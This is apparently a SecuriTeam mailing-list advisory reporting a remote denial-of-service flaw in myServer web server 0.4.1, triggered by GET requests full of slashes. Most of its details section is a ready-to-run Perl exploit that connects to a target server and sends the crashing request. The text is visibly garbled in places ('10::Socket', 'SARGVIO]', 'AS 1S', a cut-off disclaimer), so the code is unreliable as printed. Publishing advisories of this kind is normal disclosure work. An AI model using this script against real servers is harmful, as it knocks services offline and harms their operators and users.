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myServer Vulnerable to Multiple Slashes Vulnerability (///../11)

SUMMARY

<http://myserverweb.sourceforge.net/> myServer Web is a "free and easy to
configure web server". The product contains a vulnerability that allows
remote attackers to cause the server to crash by sending it a large amount
of '/' (slashes) in the GET requests the attacker issues.

DETAILS

Vulnerable systems:
* myServer version 0.4.1

Exploit:
#!/usr/bin/perl

#Myserver 0.4.1 Remote Denial of service ;)

#oh joy...
#deadbeat, uk2sec
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#eip@oakey.no—ip.com
#deadbeat@sdf.lonestar.org

use 10::Socket;
$dos = "//"x100;
$request = "GET $dos"."HTTP/1.0\r\n\r\n";

$target = SARGVIO];

print "\n\nMyserver 0.4.1 Remote Denial Of Service..\n";

print "deadbeat, uk2sec..\n";

print "usage: perl $0 <target>\n";

$sox = 10::Socket::INET->new(
Proto=>"tcp",
PeerPort=>"80",
PeerAddr=>"$target"

)or die "\nCan't connect to $target..\n";

print $sox $request;

sleep 2;

close $sox;

print "Done...\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:eip@oakey.no-ip.com> eip.

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list—unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe @securiteam.com

DISCLAIMER:

The information in this bulletin is provided "AS 1S" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequenti
loss of business profits or special damages.
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